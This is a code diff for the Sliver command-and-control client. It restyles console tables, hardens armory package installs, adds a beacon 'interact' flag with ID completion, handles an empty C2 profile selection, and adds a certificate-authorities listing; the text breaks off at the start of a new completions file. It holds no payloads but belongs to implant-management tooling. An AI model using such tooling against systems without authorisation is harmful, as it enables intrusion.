@@ -493,26 +493,26 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
style := console.StyleNormal
|
||||
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
||||
color = console.Green
|
||||
style = console.StyleGreen
|
||||
}
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
style.Render(pkg.ArmoryName),
|
||||
style.Render(pkg.CommandName),
|
||||
style.Render(pkg.Version),
|
||||
style.Render(pkg.Type),
|
||||
style.Render(pkg.Help),
|
||||
style.Render(pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
style.Render(pkg.ArmoryName),
|
||||
style.Render(pkg.CommandName),
|
||||
style.Render(pkg.Version),
|
||||
style.Render(pkg.Type),
|
||||
style.Render(pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -524,7 +524,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render("Bundles"))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Name",
|
||||
|
||||
@@ -274,19 +274,22 @@ func getInstalledPackageNames() []string {
|
||||
}
|
||||
|
||||
// This is a convenience function to get the names of the commands in the cache
|
||||
func getCommandsInCache() []string {
|
||||
func getCommandsInCache(armoryPK string) []string {
|
||||
commandNames := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
|
||||
if cacheEntry.Alias.CommandName != "" && !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
|
||||
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if !slices.Contains(commandNames, command.CommandName) {
|
||||
if command.CommandName != "" && !slices.Contains(commandNames, command.CommandName) {
|
||||
commandNames = append(commandNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
@@ -398,7 +401,7 @@ func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPack
|
||||
var requestedPackageList []string
|
||||
if name == "all" {
|
||||
requestedPackageList = []string{}
|
||||
allCommands := getCommandsInCache()
|
||||
allCommands := getCommandsInCache(armoryPK)
|
||||
for _, cmdName := range allCommands {
|
||||
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
@@ -458,6 +461,15 @@ func installPackageByName(name, armoryPK string, forceInstallation, promptToOver
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(packageInstallList) == 0 && name == "all" {
|
||||
availableCommands := getCommandsInCache(armoryPK)
|
||||
if len(availableCommands) == 0 {
|
||||
con.PrintInfof("No packages or bundles found\n")
|
||||
} else {
|
||||
con.PrintInfof("All available packages are already installed\n")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if len(packageInstallList) > 0 {
|
||||
for _, packageID := range packageInstallList {
|
||||
entry := packageCacheLookupByID(packageID)
|
||||
@@ -623,20 +635,15 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
tmpFileName, err := writeArmoryTempFile(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
defer os.Remove(tmpFileName)
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
|
||||
installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
@@ -717,23 +724,45 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = tmpFile.Sync()
|
||||
tmpFileName, err := writeArmoryTempFile(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFileName)
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
|
||||
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func writeArmoryTempFile(data []byte) (string, error) {
|
||||
if len(data) == 0 {
|
||||
return "", errors.New("downloaded archive is empty")
|
||||
}
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmpFileName := tmpFile.Name()
|
||||
for len(data) > 0 {
|
||||
n, err := tmpFile.Write(data)
|
||||
if err != nil {
|
||||
tmpFile.Close()
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
data = data[n:]
|
||||
}
|
||||
if err := tmpFile.Sync(); err != nil {
|
||||
tmpFile.Close()
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
return tmpFileName, nil
|
||||
}
|
||||
@@ -257,7 +257,7 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
|
||||
if len(extensionUpdates) != 1 {
|
||||
extensionSuffix = "s"
|
||||
}
|
||||
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix)))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Package Name",
|
||||
"Package Type",
|
||||
|
||||
@@ -39,6 +39,7 @@ import (
|
||||
func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
killFlag, _ := cmd.Flags().GetString("kill")
|
||||
killAll, _ := cmd.Flags().GetBool("kill-all")
|
||||
interact, _ := cmd.Flags().GetString("interact")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
@@ -72,6 +73,18 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
|
||||
if interact != "" {
|
||||
beacon, err := GetBeacon(con, interact)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, strings.Split(beacon.ID, "-")[0])
|
||||
return
|
||||
}
|
||||
|
||||
filter, _ := cmd.Flags().GetString("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
|
||||
@@ -165,10 +178,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
}
|
||||
|
||||
for _, beacon := range beacons {
|
||||
color := console.Normal
|
||||
style := console.StyleNormal
|
||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
color = console.Green
|
||||
style = console.StyleGreen
|
||||
}
|
||||
if beacon.Integrity == "" {
|
||||
beacon.Integrity = "-"
|
||||
@@ -179,34 +192,34 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
|
||||
if wideTermWidth {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
|
||||
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||
style.Render(beacon.Name),
|
||||
style.Render(fmt.Sprintf("%d/%d", beacon.TasksCountCompleted, beacon.TasksCount)),
|
||||
style.Render(beacon.Transport),
|
||||
style.Render(beacon.RemoteAddress),
|
||||
style.Render(beacon.Hostname),
|
||||
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
style.Render(fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID)),
|
||||
}
|
||||
|
||||
if windowsBeaconInList {
|
||||
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
|
||||
rowEntries = append(rowEntries, style.Render(beacon.Integrity))
|
||||
}
|
||||
|
||||
rowEntries = append(rowEntries, []string{
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||
style.Render(beacon.Locale),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}...)
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||
style.Render(beacon.Name),
|
||||
style.Render(beacon.Transport),
|
||||
style.Render(beacon.Hostname),
|
||||
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
|
||||
@@ -33,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("kill", "k", "", "kill the designated beacon")
|
||||
f.BoolP("kill-all", "K", false, "kill all beacons")
|
||||
f.StringP("interact", "i", "", "interact with a beacon")
|
||||
f.BoolP("force", "F", false, "force killing the beacon")
|
||||
|
||||
f.StringP("filter", "f", "", "filter beacons by substring")
|
||||
@@ -40,7 +41,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
})
|
||||
flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["kill"] = BeaconIDCompleter(con)
|
||||
(*comp)["interact"] = BeaconIDCompleter(con)
|
||||
})
|
||||
registerBeaconIDFlagCompletion(beaconsCmd, "interact", con)
|
||||
beaconsRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove a beacon",
|
||||
@@ -81,22 +84,74 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
// BeaconIDCompleter completes beacon IDs
|
||||
func BeaconIDCompleter(con *console.SliverClient) carapace.Action {
|
||||
callback := func(_ carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err == nil {
|
||||
for _, b := range beacons.Beacons {
|
||||
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
|
||||
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
|
||||
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
|
||||
desc := strings.Join([]string{id, userHost, link}, " ")
|
||||
|
||||
results = append(results, b.ID[:8])
|
||||
results = append(results, desc)
|
||||
}
|
||||
}
|
||||
return carapace.ActionValuesDescribed(results...).Tag("beacons")
|
||||
return carapace.ActionValuesDescribed(beaconCompletionPairs(con)...).Tag("beacons")
|
||||
}
|
||||
|
||||
return carapace.ActionCallback(callback)
|
||||
}
|
||||
|
||||
func registerBeaconIDFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
values := describedValuesToTabs(beaconCompletionPairs(con))
|
||||
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||
})
|
||||
}
|
||||
|
||||
func beaconCompletionPairs(con *console.SliverClient) []string {
|
||||
results := make([]string, 0)
|
||||
if con == nil || con.Rpc == nil {
|
||||
return results
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
|
||||
for _, b := range beacons.Beacons {
|
||||
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
|
||||
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
|
||||
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
|
||||
desc := strings.Join([]string{id, userHost, link}, " ")
|
||||
|
||||
results = append(results, b.ID[:8], desc)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func describedValuesToTabs(values []string) []string {
|
||||
tabbed := make([]string, 0, len(values)/2)
|
||||
for i := 0; i+1 < len(values); i += 2 {
|
||||
tabbed = append(tabbed, fmt.Sprintf("%s\t%s", values[i], values[i+1]))
|
||||
}
|
||||
return tabbed
|
||||
}
|
||||
|
||||
func filterCompletionValues(values []string, prefix string) []string {
|
||||
if prefix == "" {
|
||||
return values
|
||||
}
|
||||
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package c2profiles
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/url"
|
||||
@@ -42,6 +43,10 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// C2ProfileCmd list available http profiles
|
||||
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
@@ -53,7 +58,11 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
profileName, err = selectC2Profile(httpC2Profiles.Configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -124,7 +133,11 @@ func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
profileName, err = selectC2Profile(httpC2Profiles.Configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -540,7 +553,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
con.Println("\n")
|
||||
}
|
||||
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) (string, error) {
|
||||
c2profile := ""
|
||||
var choices []string
|
||||
for _, c2profile := range c2profiles {
|
||||
@@ -549,7 +562,11 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
|
||||
_ = forms.Select("Select a c2 profile", choices, &c2profile)
|
||||
|
||||
return c2profile
|
||||
if c2profile == "" {
|
||||
return "", ErrNoSelection
|
||||
}
|
||||
|
||||
return c2profile, nil
|
||||
}
|
||||
|
||||
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package c2profiles
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
@@ -27,6 +28,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
|
||||
|
||||
exportC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ExportC2ProfileStr,
|
||||
@@ -40,6 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
|
||||
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
@@ -76,6 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
||||
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
|
||||
|
||||
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["template"] = generate.HTTPC2Completer(con)
|
||||
|
||||
@@ -6,5 +6,7 @@ Implements the 'certificates' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `authorities.go` – Retrieves certificate authority metadata from the server and prints it in a table.
|
||||
- `completions.go` – Provides tab completion helpers for certificate common names.
|
||||
- `certificates.go` – Retrieves certificate metadata from the server, formats expiration status, and prints results to the console.
|
||||
- `commands.go` – Registers the certificates command and binds the flags needed to query certificate inventories.
|
||||
@@ -0,0 +1,89 @@
|
||||
package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
func CertificateAuthoritiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
authorityInfo, err := con.Rpc.GetCertificateAuthorityInfo(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get certificate authority information from database: %s", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
printCertificateAuthorityInfo(con, authorityInfo.Info)
|
||||
}
|
||||
|
||||
func printCertificateAuthorityInfo(con *console.SliverClient, authData []*clientpb.CertificateAuthorityData) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
if len(authData) == 0 {
|
||||
con.PrintWarnf("There are no certificate authorities in the database.\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Creation Time",
|
||||
"Authority Type",
|
||||
"Key Algorithm",
|
||||
"Validity Start",
|
||||
"Expires",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Expires",
|
||||
})
|
||||
}
|
||||
|
||||
for _, authority := range authData {
|
||||
rowStyle := console.StyleNormal
|
||||
|
||||
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
|
||||
if err == nil {
|
||||
rowStyle = checkCertExpiry(expiry)
|
||||
}
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendRow(table.Row{
|
||||
rowStyle.Render(authority.ID),
|
||||
rowStyle.Render(authority.CN),
|
||||
rowStyle.Render(authority.CreationTime),
|
||||
rowStyle.Render(authority.Type),
|
||||
rowStyle.Render(authority.KeyAlgorithm),
|
||||
rowStyle.Render(authority.ValidityStart),
|
||||
rowStyle.Render(authority.ValidityExpiry),
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
rowStyle.Render(authority.ID),
|
||||
rowStyle.Render(authority.CN),
|
||||
rowStyle.Render(authority.ValidityExpiry),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -2,7 +2,6 @@ package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -95,22 +94,22 @@ func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
printCertificateInfo(con, certificateInfo.Info)
|
||||
}
|
||||
|
||||
func checkCertExpiry(expiryTime time.Time) string {
|
||||
func checkCertExpiry(expiryTime time.Time) console.TextStyle {
|
||||
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
||||
return console.Bold + console.Red
|
||||
return console.StyleBoldRed
|
||||
}
|
||||
|
||||
// One week is 168 hours - this is bad
|
||||
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
||||
return console.Bold + console.Red
|
||||
return console.StyleBoldRed
|
||||
}
|
||||
|
||||
// One month is approximately 730 hours - this is a warning
|
||||
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
||||
return console.Bold + console.Orange
|
||||
return console.StyleBoldOrange
|
||||
}
|
||||
|
||||
return console.Normal
|
||||
return console.StyleNormal
|
||||
}
|
||||
|
||||
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
||||
@@ -148,28 +147,28 @@ func printCertificateInfo(con *console.SliverClient, certData []*clientpb.Certif
|
||||
}
|
||||
|
||||
for _, cert := range certData {
|
||||
rowColor := console.Normal
|
||||
rowStyle := console.StyleNormal
|
||||
|
||||
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
||||
// This should not error out, but if it does, the row will not be colored
|
||||
if err == nil {
|
||||
rowColor = checkCertExpiry(expiry)
|
||||
rowStyle = checkCertExpiry(expiry)
|
||||
}
|
||||
if wideTermWidth {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
rowStyle.Render(cert.ID),
|
||||
rowStyle.Render(cert.CN),
|
||||
rowStyle.Render(cert.CreationTime),
|
||||
rowStyle.Render(cert.Type),
|
||||
rowStyle.Render(cert.KeyAlgorithm),
|
||||
rowStyle.Render(cert.ValidityStart),
|
||||
rowStyle.Render(cert.ValidityExpiry),
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
rowStyle.Render(cert.ID),
|
||||
rowStyle.Render(cert.CN),
|
||||
rowStyle.Render(cert.ValidityExpiry),
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
@@ -44,6 +45,19 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("server", "s", false, "Show server certificates")
|
||||
f.StringP("cn", "c", "", "Show certificate information for a provided common name")
|
||||
})
|
||||
flags.BindFlagCompletions(certificatesCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["cn"] = CertificateCommonNameCompleter(con)
|
||||
})
|
||||
registerCertificateCNFlagCompletion(certificatesCmd, "cn", con)
|
||||
|
||||
authoritiesCmd := &cobra.Command{
|
||||
Use: "authorities",
|
||||
Short: "List certificate authorities",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CertificateAuthoritiesCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
certificatesCmd.AddCommand(authoritiesCmd)
|
||||
|
||||
return []*cobra.Command{
|
||||
certificatesCmd,
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CertificateCommonNameCompleter completes common names for stored certificates.
|
||||
func CertificateCommonNameCompleter(con *console.SliverClient) carapace.Action {
|
||||
